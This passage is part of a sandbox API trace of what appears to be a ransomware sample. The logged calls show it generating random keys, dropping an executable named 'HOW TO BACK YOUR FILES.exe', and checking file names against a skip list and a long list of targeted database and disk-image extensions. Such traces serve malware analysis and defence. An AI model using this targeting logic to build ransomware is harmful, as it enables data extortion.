(HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.009] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.010] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.010] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.010] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2640, lpName=0x0) returned 0x154 [0050.010] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2640) returned 0x100000 [0050.011] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.011] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.011] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.012] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.012] CloseHandle (hObject=0x154) returned 1 [0050.012] CloseHandle (hObject=0x17c) returned 1 [0050.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.014] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe45206d0, ftCreationTime.dwHighDateTime=0x1d4cafb, ftLastAccessTime.dwLowDateTime=0xf7043b40, ftLastAccessTime.dwHighDateTime=0x1d4d285, ftLastWriteTime.dwLowDateTime=0xf7043b40, ftLastWriteTime.dwHighDateTime=0x1d4d285, nFileSizeHigh=0x0, nFileSizeLow=0x2334, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_7M11JjnoJE4PxKJttGG.ppt", cAlternateFileName="_7M11J~1.PPT")) returned 0 [0050.014] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0050.014] ReleaseMutex (hMutex=0xec) returned 1 [0050.014] CloseHandle (hObject=0xec) returned 1 [0050.014] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts" [0050.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e930 | out: hHeap=0x4f0000) returned 1 [0050.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c428 | out: hHeap=0x4f0000) returned 1 [0050.014] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts") returned 55 [0050.014] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\835F96FEFC4C817EDB6CC9BA020A2754") returned 0xec [0050.014] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0050.014] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts" [0050.014] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0050.014] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.015] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0050.015] GetLastError () returned 0x0 [0050.015] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0050.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0050.015] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0050.016] CloseHandle (hObject=0xf4) returned 1 [0050.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0050.016] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0050.016] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0050.016] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.016] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.016] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0050.016] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcdeb7e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.016] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.016] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.016] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0050.016] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0050.016] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".") returned 1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="..") returned 1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="windows") returned -1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="bootmgr") returned -1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="temp") returned -1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="pagefile.sys") returned -1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="boot") returned -1 [0050.016] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="ids.txt") returned -1 [0050.017] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="ntuser.dat") returned -1 [0050.017] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="perflogs") returned -1 [0050.017] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2="MSBuild") returned -1 [0050.017] lstrlenW (lpString="Aclviho ASldjfl.contact") returned 23 [0050.017] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Aclviho ASldjfl.contact" | out: lpString1="Aclviho ASldjfl.contact") returned="Aclviho ASldjfl.contact" [0050.017] lstrlenW (lpString="Aclviho ASldjfl.contact") returned 23 [0050.017] lstrlenW (lpString="Athena865") returned 9 [0050.017] lstrcmpiW (lpString1="l.contact", lpString2="Athena865") returned 1 [0050.017] lstrlenW (lpString=".dll") returned 4 [0050.017] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".dll") returned 1 [0050.017] lstrlenW (lpString=".lnk") returned 4 [0050.017] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".lnk") returned 1 [0050.017] lstrlenW (lpString=".ini") returned 4 [0050.017] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".ini") returned 1 [0050.017] lstrlenW (lpString=".sys") returned 4 [0050.017] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".sys") returned 1 [0050.017] lstrlenW (lpString="Aclviho ASldjfl.contact") returned 23 [0050.017] lstrlenW (lpString="bak") returned 3 [0050.017] lstrcmpiW (lpString1="act", lpString2="bak") returned -1 [0050.017] lstrlenW (lpString="ba_") returned 3 [0050.017] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1 [0050.017] lstrlenW (lpString="dbb") returned 3 [0050.017] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1 [0050.017] lstrlenW (lpString="vmdk") returned 4 [0050.017] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1 [0050.017] lstrlenW (lpString="rar") returned 3 [0050.017] lstrcmpiW (lpString1="act", lpString2="rar") returned -1 [0050.017] lstrlenW (lpString="zip") returned 3 [0050.017] lstrcmpiW (lpString1="act", lpString2="zip") returned -1 [0050.017] lstrlenW (lpString="tgz") returned 3 [0050.017] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1 [0050.017] lstrlenW (lpString="vbox") returned 4 [0050.017] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1 [0050.017] lstrlenW (lpString="vdi") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1 [0050.018] lstrlenW (lpString="vhd") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1 [0050.018] lstrlenW (lpString="vhdx") returned 4 [0050.018] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1 [0050.018] lstrlenW (lpString="avhd") returned 4 [0050.018] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1 [0050.018] lstrlenW (lpString="db") returned 2 [0050.018] lstrcmpiW (lpString1="ct", lpString2="db") returned -1 [0050.018] lstrlenW (lpString="db2") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="db2") returned -1 [0050.018] lstrlenW (lpString="db3") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="db3") returned -1 [0050.018] lstrlenW (lpString="dbf") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1 [0050.018] lstrlenW (lpString="mdf") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1 [0050.018] lstrlenW (lpString="mdb") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1 [0050.018] lstrlenW (lpString="sql") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="sql") returned -1 [0050.018] lstrlenW (lpString="sqlite") returned 6 [0050.018] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1 [0050.018] lstrlenW (lpString="sqlite3") returned 7 [0050.018] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1 [0050.018] lstrlenW (lpString="sqlitedb") returned 8 [0050.018] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1 [0050.018] lstrlenW (lpString="xml") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="xml") returned -1 [0050.018] lstrlenW (lpString="$er") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="$er") returned 1 [0050.018] lstrlenW (lpString="4dd") returned 3 [0050.018] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1 [0050.019] lstrlenW (lpString="4dl") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1 [0050.019] lstrlenW (lpString="^^^") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1 [0050.019] lstrlenW (lpString="abs") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="abs") returned 1 [0050.019] lstrlenW (lpString="abx") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="abx") returned 1 [0050.019] lstrlenW (lpString="accdb") returned 5 [0050.019] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1 [0050.019] lstrlenW (lpString="accdc") returned 5 [0050.019] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1 [0050.019] lstrlenW (lpString="accde") returned 5 [0050.019] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1 [0050.019] lstrlenW (lpString="accdr") returned 5 [0050.019] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1 [0050.019] lstrlenW (lpString="accdt") returned 5 [0050.019] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1 [0050.019] lstrlenW (lpString="accdw") returned 5 [0050.019] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1 [0050.019] lstrlenW (lpString="accft") returned 5 [0050.019] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1 [0050.019] lstrlenW (lpString="adb") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.019] lstrlenW (lpString="adb") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.019] lstrlenW (lpString="ade") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="ade") returned -1 [0050.019] lstrlenW (lpString="adf") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="adf") returned -1 [0050.019] lstrlenW (lpString="adn") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="adn") returned -1 [0050.019] lstrlenW (lpString="adp") returned 3 [0050.019] lstrcmpiW (lpString1="act", lpString2="adp") returned -1 [0050.020] lstrlenW (lpString="alf") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="alf") returned -1 [0050.020] lstrlenW (lpString="ask") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="ask") returned -1 [0050.020] lstrlenW (lpString="btr") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="btr") returned -1 [0050.020] lstrlenW (lpString="cat") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="cat") returned -1 [0050.020] lstrlenW (lpString="cdb") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1 [0050.020] lstrlenW (lpString="ckp") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1 [0050.020] lstrlenW (lpString="cma") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="cma") returned -1 [0050.020] lstrlenW (lpString="cpd") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1 [0050.020] lstrlenW (lpString="dacpac") returned 6 [0050.020] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1 [0050.020] lstrlenW (lpString="dad") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="dad") returned -1 [0050.020] lstrlenW (lpString="dadiagrams") returned 10 [0050.020] lstrcmpiW (lpString1="fl.contact", lpString2="dadiagrams") returned 1 [0050.020] lstrlenW (lpString="daschema") returned 8 [0050.020] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1 [0050.020] lstrlenW (lpString="db-journal") returned 10 [0050.020] lstrcmpiW (lpString1="fl.contact", lpString2="db-journal") returned 1 [0050.020] lstrlenW (lpString="db-shm") returned 6 [0050.020] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1 [0050.020] lstrlenW (lpString="db-wal") returned 6 [0050.020] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1 [0050.020] lstrlenW (lpString="dbc") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1 [0050.020] lstrlenW (lpString="dbs") returned 3 [0050.020] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1 [0050.020] lstrlenW (lpString="dbt") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1 [0050.021] lstrlenW (lpString="dbv") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1 [0050.021] lstrlenW (lpString="dbx") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1 [0050.021] lstrlenW (lpString="dcb") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1 [0050.021] lstrlenW (lpString="dct") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dct") returned -1 [0050.021] lstrlenW (lpString="dcx") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dcx") returned -1 [0050.021] lstrlenW (lpString="ddl") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="ddl") returned -1 [0050.021] lstrlenW (lpString="dlis") returned 4 [0050.021] lstrcmpiW (lpString1="tact", lpString2="dlis") returned 1 [0050.021] lstrlenW (lpString="dp1") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dp1") returned -1 [0050.021] lstrlenW (lpString="dqy") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dqy") returned -1 [0050.021] lstrlenW (lpString="dsk") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dsk") returned -1 [0050.021] lstrlenW (lpString="dsn") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dsn") returned -1 [0050.021] lstrlenW (lpString="dtsx") returned 4 [0050.021] lstrcmpiW (lpString1="tact", lpString2="dtsx") returned 1 [0050.021] lstrlenW (lpString="dxl") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="dxl") returned -1 [0050.021] lstrlenW (lpString="eco") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="eco") returned -1 [0050.021] lstrlenW (lpString="ecx") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="ecx") returned -1 [0050.021] lstrlenW (lpString="edb") returned 3 [0050.021] lstrcmpiW (lpString1="act", lpString2="edb") returned -1 [0050.021] lstrlenW (lpString="epim") returned 4 [0050.021] lstrcmpiW (lpString1="tact", lpString2="epim") returned 1 [0050.022] lstrlenW (lpString="fcd") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fcd") returned -1 [0050.022] lstrlenW (lpString="fdb") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fdb") returned -1 [0050.022] lstrlenW (lpString="fic") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fic") returned -1 [0050.022] lstrlenW (lpString="flexolibrary") returned 12 [0050.022] lstrcmpiW (lpString1="djfl.contact", lpString2="flexolibrary") returned -1 [0050.022] lstrlenW (lpString="fm5") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fm5") returned -1 [0050.022] lstrlenW (lpString="fmp") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fmp") returned -1 [0050.022] lstrlenW (lpString="fmp12") returned 5 [0050.022] lstrcmpiW (lpString1="ntact", lpString2="fmp12") returned 1 [0050.022] lstrlenW (lpString="fmpsl") returned 5 [0050.022] lstrcmpiW (lpString1="ntact", lpString2="fmpsl") returned 1 [0050.022] lstrlenW (lpString="fol") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fol") returned -1 [0050.022] lstrlenW (lpString="fp3") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fp3") returned -1 [0050.022] lstrlenW (lpString="fp4") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fp4") returned -1 [0050.022] lstrlenW (lpString="fp5") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fp5") returned -1 [0050.022] lstrlenW (lpString="fp7") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fp7") returned -1 [0050.022] lstrlenW (lpString="fpt") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="fpt") returned -1 [0050.022] lstrlenW (lpString="frm") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="frm") returned -1 [0050.022] lstrlenW (lpString="gdb") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1 [0050.022] lstrlenW (lpString="gdb") returned 3 [0050.022] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1 [0050.023] lstrlenW (lpString="grdb") returned 4 [0050.023] lstrcmpiW (lpString1="tact", lpString2="grdb") returned 1 [0050.023] lstrlenW (lpString="gwi") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="gwi") returned -1 [0050.023] lstrlenW (lpString="hdb") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="hdb") returned -1 [0050.023] lstrlenW (lpString="his") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="his") returned -1 [0050.023] lstrlenW (lpString="ib") returned 2 [0050.023] lstrcmpiW (lpString1="ct", lpString2="ib") returned -1 [0050.023] lstrlenW (lpString="idb") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="idb") returned -1 [0050.023] lstrlenW (lpString="ihx") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="ihx") returned -1 [0050.023] lstrlenW (lpString="itdb") returned 4 [0050.023] lstrcmpiW (lpString1="tact", lpString2="itdb") returned 1 [0050.023] lstrlenW (lpString="itw") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="itw") returned -1 [0050.023] lstrlenW (lpString="jet") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="jet") returned -1 [0050.023] lstrlenW (lpString="jtx") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="jtx") returned -1 [0050.023] lstrlenW (lpString="kdb") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="kdb") returned -1 [0050.023] lstrlenW (lpString="kexi") returned 4 [0050.023] lstrcmpiW (lpString1="tact", lpString2="kexi") returned 1 [0050.023] lstrlenW (lpString="kexic") returned 5 [0050.023] lstrcmpiW (lpString1="ntact", lpString2="kexic") returned 1 [0050.023] lstrlenW (lpString="kexis") returned 5 [0050.023] lstrcmpiW (lpString1="ntact", lpString2="kexis") returned 1 [0050.023] lstrlenW (lpString="lgc") returned 3 [0050.023] lstrcmpiW (lpString1="act", lpString2="lgc") returned -1 [0050.023] lstrlenW (lpString="lwx") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="lwx") returned -1 [0050.024] lstrlenW (lpString="maf") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="maf") returned -1 [0050.024] lstrlenW (lpString="maq") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="maq") returned -1 [0050.024] lstrlenW (lpString="mar") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mar") returned -1 [0050.024] lstrlenW (lpString="marshal") returned 7 [0050.024] lstrcmpiW (lpString1="contact", lpString2="marshal") returned -1 [0050.024] lstrlenW (lpString="mas") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mas") returned -1 [0050.024] lstrlenW (lpString="mav") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mav") returned -1 [0050.024] lstrlenW (lpString="maw") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="maw") returned -1 [0050.024] lstrlenW (lpString="mdbhtml") returned 7 [0050.024] lstrcmpiW (lpString1="contact", lpString2="mdbhtml") returned -1 [0050.024] lstrlenW (lpString="mdn") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mdn") returned -1 [0050.024] lstrlenW (lpString="mdt") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mdt") returned -1 [0050.024] lstrlenW (lpString="mfd") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mfd") returned -1 [0050.024] lstrlenW (lpString="mpd") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mpd") returned -1 [0050.024] lstrlenW (lpString="mrg") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mrg") returned -1 [0050.024] lstrlenW (lpString="mud") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mud") returned -1 [0050.024] lstrlenW (lpString="mwb") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="mwb") returned -1 [0050.024] lstrlenW (lpString="myd") returned 3 [0050.024] lstrcmpiW (lpString1="act", lpString2="myd") returned -1 [0050.024] lstrlenW (lpString="ndf") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="ndf") returned -1 [0050.025] lstrlenW (lpString="nnt") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="nnt") returned -1 [0050.025] lstrlenW (lpString="nrmlib") returned 6 [0050.025] lstrcmpiW (lpString1="ontact", lpString2="nrmlib") returned 1 [0050.025] lstrlenW (lpString="ns2") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="ns2") returned -1 [0050.025] lstrlenW (lpString="ns3") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="ns3") returned -1 [0050.025] lstrlenW (lpString="ns4") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="ns4") returned -1 [0050.025] lstrlenW (lpString="nsf") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="nsf") returned -1 [0050.025] lstrlenW (lpString="nv") returned 2 [0050.025] lstrcmpiW (lpString1="ct", lpString2="nv") returned -1 [0050.025] lstrlenW (lpString="nv2") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="nv2") returned -1 [0050.025] lstrlenW (lpString="nwdb") returned 4 [0050.025] lstrcmpiW (lpString1="tact", lpString2="nwdb") returned 1 [0050.025] lstrlenW (lpString="nyf") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="nyf") returned -1 [0050.025] lstrlenW (lpString="odb") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="odb") returned -1 [0050.025] lstrlenW (lpString="odb") returned 3 [0050.025] lstrcmpiW (lpString1="act", lpString2="odb") returned -1 [0050.025] lstrlenW (lpString="oqy") returned 3 [0050.025] 